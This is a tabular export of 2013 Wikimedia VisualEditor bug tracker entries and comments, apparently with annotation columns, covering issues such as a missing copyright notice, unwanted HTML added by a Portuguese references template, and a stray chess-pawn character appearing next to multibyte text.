+We are fixing enough bugs without having to artificially inflate the numbers of how much we're doing. :-)",,,1374643164,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+232183,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,Resolved-Fixed -> Resolved->Invalid.  What the?!,,,1374642996,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1
+232176,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,Now resolved; thanks all :).,,,1374601920,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+232170,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"PS: (it's not just about copyright, in our case) http://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Legal_issue:_copyright_and_other_warnings_must_be_visible_above_the_%22save%22_button
+
+Thanks.",,,1374595261,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+232164,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"On the Italian Wikipedia that does not happen though, please tell me if there is anything I can do to fix this ASAP.
+
+In the past some users at itwp asked if the copyright/warning notices we use (https://it.wikipedia.org/wiki/MediaWiki:Wikimedia-editpage-tos-summary ) under the edit windows could be removed for experienced users, but the option was always discarded on the basis that a more prominent notice than the one in the footer was necessary for ""legal"" reasons (yes, people don't usually read or understand what it says anyway, but certainly they can't complain they don't get enough notice about this. And we do care a lot about this topic.)
+I can see the notice when I try to save on en.wp, although it is so small I almost can't read it with Monobook on Chrome, but it does not show up on it.wiki, and since I don't want patrollers to report additional copyright issues after deployment, I'd ask for advice about this. Thanks.",,,1374588009,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0
+232158,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"I'm confused. Because it's part of MediaWiki core, it can't be overridden or suppressed by an extension? A large chunk of the extensions we practically use suppresses elements of core. This would seem to conflict with the practical use and applications of our extensions. Similarly, removing it would be rather unfair to, for example, third-party users, since VisualEditor and Parsoid are both extensions. We do not include them in the standard tarball.
+
+The message is useful, yes, but replicated in a form in the VE. If you've used the VE, you'll know the ToS link and release are given prominent placement, not ""tucked away down the bottom of the page"". The only occasions on which the ToS /are/ tucked away down the bottom of the page is in namespaces and wikis without VisualEditor/Parsoid....where editpage-head-copy-warn is not suppressed.",,,1374338671,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+232152,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"This message is part of mediawiki.  If the message is extraneous, it should be removed.  Until that happens, it should be part of the VE.
+
+On English Wikipedia this message includes ""Encyclopedic content must be verifiable."" and a prominent link to the ToS, which is otherwise tucked away down the bottom of the page.",,,1374309537,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+232145,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"I would argue that this is somewhat extraneous; I don't think anyone actually reads it. Really it exists primarily so that when someone whines about their content being deleted, we can go ""there was a notice"". It undoubtedly did serve a purpose on the Good Old Days {{cn}} when our terms of service were written on a napkin - but these days Geoff and the team have produced the rather concise and all-encompassing https://wikimediafoundation.org/wiki/Terms_of_Use, which covers (amongst other things) copyright infringements and redistribution - and is linked to in the interface.
+
+I appreciate it's slightly more obscure than an editnotice, but it's also the approach taken by every other website on the planet: users can't really claim they were ignorant unless we're the only place on the internet they visit.",,,1373537154,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,1,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+53145,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"1. Go to
+https://pt.wikipedia.org/wiki/Associação_Médico-Espírita_do_Brasil?oldid=36199569&veaction=edit
+2. Click in the box in the top of the page and delete it
+3. Click on ""Save page"" and then ""Review your changes""
+The editor will add the code
+<div class=""reflist references-small"" style><references /></div>
+in the bottom of the page, as in this diff:
+https://pt.wikipedia.org/wiki/Associação_Médico-Espírita_do_Brasil?diff=36364362&uselang=en
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51260",High,80.0,1373499540,1383140692.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-re6qm3cualjp5dczcmlc,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+231053,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"I was NOT able to reproduce it following the steps from comment 0 and of comment 3, and also in the case of comment 4. Moreover, I don't remember seeing any new reports on this, so I'm marking this as FIXED (but I don't know which code change fixed the bug).",,,1383140692,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,17,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+231047,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,I can't reproduce this now using a simple test case.  Has it still been happening on pt.wp?,,,1383133476,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+231043,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"This happened again:
+https://pt.wikipedia.org/wiki/Haroldo_Palo_Jr.?diff=36430552",,,1374085008,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+231038,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"This little devil can be reproduced at
+https://pt.wikipedia.org/wiki/User:John_Vandenberg/demo?veaction=edit
+(remove the template at the top and click save)
+
+It is a very common case, and VE cant be used safely on pt.wp until this is fixed.
+
+Im guessing this is related to the high priority Cite enhancement bug 51260.",,,1373760927,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,1,,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+231032,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"(In reply to comment #1)
+> I don't know if this is relevant, but the same code ""{{referências}}"" expands
+> to something different on [[pt:special:ExpandTemplates]]:
+> 
+> <h2 style=""cursor:help"" title=""Esta seção não é editável por razões técnicas.
+> Edite a página toda em vez disso."">Referências</h2>
+> <div class=""reflist references-small"" style=""""><references
+> group=""""></references></div>
+> 
+> 
+> Direct link:
+> https://pt.wikipedia.org/w/index.php?title=Especial:
+> Expandir_predefini%C3%A7%C3%B5es&input=%7B%7Brefer%C3%AAncias%7D%7D&contextti
+> tle=Associa%C3%A7%C3%A3o+M%C3%A9dico-
+> Esp%C3%ADrita+do+Brasil&removecomments=true&removenowiki=true
+
+That's pretty much the same as the expansion that leaks into the article, except for the first tag (the <h2>).",,,1373658096,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,1,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+231028,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"I don't know if this is relevant, but the same code ""{{referências}}"" expands to something different on [[pt:special:ExpandTemplates]]:
+
+<h2 style=""cursor:help"" title=""Esta seção não é editável por razões técnicas. Edite a página toda em vez disso."">Referências</h2>
+<div class=""reflist references-small"" style=""""><references group=""""></references></div>
+
+
+Direct link:
+https://pt.wikipedia.org/w/index.php?title=Especial:Expandir_predefini%C3%A7%C3%B5es&input=%7B%7Brefer%C3%AAncias%7D%7D&contexttitle=Associa%C3%A7%C3%A3o+M%C3%A9dico-Esp%C3%ADrita+do+Brasil&removecomments=true&removenowiki=true",,,1373500632,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+53143,VisualEditor: Double-click on a parameter in the selection menu should insert it,"From English Wikipedia:
+
+In the template dialog, in the add parameter view, I would expect double-clicking on a parameter would add it, instead of having to find the add parameter button at the end of the list (which should, by the way, not be at the end of a scrolling 
+
+list, but always visible in a fixed place). --WS (talk) 12:17, 9 July 2013 (UTC)
+Agree with this - it took me a while to figure out that I had to scroll to the bottom of a long list of reference parameters to find the button. GoingBatty (talk) 04:58, 10 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1373498580,1373932741.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+255495,VisualEditor: Double-click on a parameter in the selection menu should insert it,*** Bug 51165 has been marked as a duplicate of this bug. ***,,,1377527402,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+255489,VisualEditor: Double-click on a parameter in the selection menu should insert it,"This is now done (as a single-click-to-insert), and will be deployed in the next few minutes.",,,1373932741,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+255482,VisualEditor: Double-click on a parameter in the selection menu should insert it,"Change 73865 merged by jenkins-bot:
+Single-click insertion
+
+https://gerrit.wikimedia.org/r/73865",,,1373932430,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+255475,VisualEditor: Double-click on a parameter in the selection menu should insert it,"Change 73865 had a related patch set uploaded by Trevor Parscal:
+Single-click insertion
+
+https://gerrit.wikimedia.org/r/73865",,,1373922497,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53140,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"Seems to happen specifically in https://en.wikipedia.org/wiki/Jabhala?veaction=edit for no apparent reason; try it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373495580,1373926253.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ft4ssckvycvjlzjy3fax,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+255245,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,*** Bug 51112 has been marked as a duplicate of this bug. ***,,,1373928303,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+255238,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,Fixed and merged.,,,1373926253,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+255231,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"Change 73874 merged by jenkins-bot:
+Replace text strings with grapheme arrays in onContentChange
+
+https://gerrit.wikimedia.org/r/73874",,,1373926221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+255224,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"Change 73874 had a related patch set uploaded by Esanders:
+Replace text strings with grapheme arrays in onContentChange
+
+https://gerrit.wikimedia.org/r/73874",,,1373925628,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+255217,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"**weskaggs** wrote:
+
+Further observations:  the ""pawn"" has utf-8 hex code E2 99 99.  The multibyte characters that provoke this behavior are either of:
+
+devangiri letter LA, unicode 0x2354, utf-8 hex E0 A4 B2
+devangiri letter BHA, unicode 0x2349, utf-8 hex E0 A4 AD",,,1373499407,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+255207,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"Turns out that it happens when inserting any character after the link, but only at the position immediately after the link (so the second character isn't pawned because there's something (the first pawn) between it and the link), and only if there is multibyte text in the same paragraph preceding the link.
+
+The article's first and only paragraph starts with ""Jabhala (Hindi:जभाला) is..."" and so this bug affects every link on that article. But it doesn't affect any links before जभाला (there aren't any right now but you can create them), and if you use Enter to break the paragraph after the Hindi text, it doesn't affect any links in the second paragraph either.
+
+Assigning to Ed because this is a multibyte issue.",,,1373498121,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,1,,1,1,0,0,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+255199,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"**weskaggs** wrote:
+
+In case it may be helpful, the character produced is a white chess pawn, unicode 0x2659 (html &#9817).  This character is produced if any character is added immediately after any of the three links in the first sentence, but not if a character is added after a link in the second sentence.  If the Hindi text in the first sentence is deleted, then characters entered after a link produce the correct result.",,,1373498038,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+53135,"VisualEditor: Should ""remove template"" be under a label such as ""actions"" instead of options?","An English Wikipedia editor suggests that the ""remove template"" button should be in a section labeled ""actions"", not options. A non-native speaker, he does not find the ""options"" label intuitive.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51672",High,80.0,1373485740,1394073325.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-nilflssh5x72tinfk7a6,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+254945,"VisualEditor: Should ""remove template"" be under a label such as ""actions"" instead of options?","This has now been moved from the ""options"" section to a small rubbish bin icon next to each template's name, and duplicated in the control section in the left navigation bar.",,,1394073325,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nilflssh5x72tinfk7a6,task_subcomment,,True,c1,3,True,,,35,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+254938,"VisualEditor: Should ""remove template"" be under a label such as ""actions"" instead of options?","We don't like the ""Options"" label either (it's a standard part of dialog panes in VE, but here it doesn't add anything).",,,1375325511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nilflssh5x72tinfk7a6,task_subcomment,,True,c1,3,True,,,4,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+53112,VisualEditor: replacing the first character in the link text inserts ♙ instead of a proper symbol,"**Author:** `p.selitskas`
+
+**Description:**
+Page where issue occures: https://be-x-old.wikipedia.org/wiki/%D0%93%D1%80%D1%8D%D0%B3%D0%B0%D1%80%D1%8B%D1%8F%D0%BD%D1%81%D0%BA%D1%96_%D0%BA%D0%B0%D0%BB%D1%8F%D0%BD%D0%B4%D0%B0%D1%80
+
+When I change the first character of the link text by selecting it first and then typing, chess symbol ♙ replaces the original character. Due to bug 50678 not being resolved yet, I tried this way and revealed such behaviour. For the point, it's no matter how many characters are selected, chess symbol arrives if the first character in the link text is included in the selection.
+
+It seems to take place in the lead part of the article only. When I change links in the tables and other sections of the page, it all looks fine.
+
+Worth noticing: after I enter the editing mode and change the link in the first table header (text: Апошні дзень Юліянскага календару), it works like a charm, but as I press Ctrl+Z, it turns to «Апошні дзень ♙ліянскага календару», and I have to press Ctrl+Z once again to fix it back to the original state.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373468880,1373928303.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qjailuyl4kenb2ytqa5a,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+253838,VisualEditor: replacing the first character in the link text inserts ♙ instead of a proper symbol,"
+
+*** This bug has been marked as a duplicate of bug 51140 ***",,,1373928303,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-qjailuyl4kenb2ytqa5a,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53075,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Create a link and hit return before the input field in the link inspector is focused and the text in the surface will be replaced with a new line.  Not linked text.
+
+--------------------------
+**Version**: unspecified
